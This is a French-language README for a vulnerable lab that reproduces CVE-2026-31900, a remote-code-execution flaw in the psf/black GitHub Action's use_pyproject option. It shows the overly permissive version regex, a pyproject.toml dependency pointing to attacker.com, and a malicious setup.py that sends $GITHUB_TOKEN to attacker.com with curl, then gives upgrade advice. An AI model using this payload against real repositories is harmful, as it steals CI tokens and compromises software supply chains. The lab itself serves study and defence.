
CVE-2026-31900 Laboratoire vulnérable - RCE via GitHub Action psf/black
| Champ | Détail |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7 (Élevé) |
| Avis de sécurité | GHSA-v53h-f6m7-xcgm |
| Affecté | Action GitHub psf/black < v26.3.0 |
| Type | RCE via chaîne d'approvisionnement (déclencheur pull_request) |
L'option use_pyproject: true lit la version de Black depuis pyproject.toml. La regex utilisée pour valider la chaîne de version est trop permissive en raison de re.IGNORECASE, autorisant des caractères comme l'espace, @, : et / — exactement ce qui est nécessaire pour une exigence d'URL PEP 508.
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml dans votre fork :[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_request s'activepyproject.toml, contourne la validation regexsetup.py exécute du code arbitrairesetup.py de paquet malveillantfrom setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN (jeton du runner CI)Mettez à niveau vers psf/black v26.3.0 ou épinglez explicitement la version dans le YAML du workflow au lieu d'utiliser use_pyproject: true.
.github/workflows/black.yml ← Workflow vulnérable (use_pyproject: true)
pyproject.toml ← Configuration légitime (branche principale)
app.py ← Fichier Python exemple en cours de formatage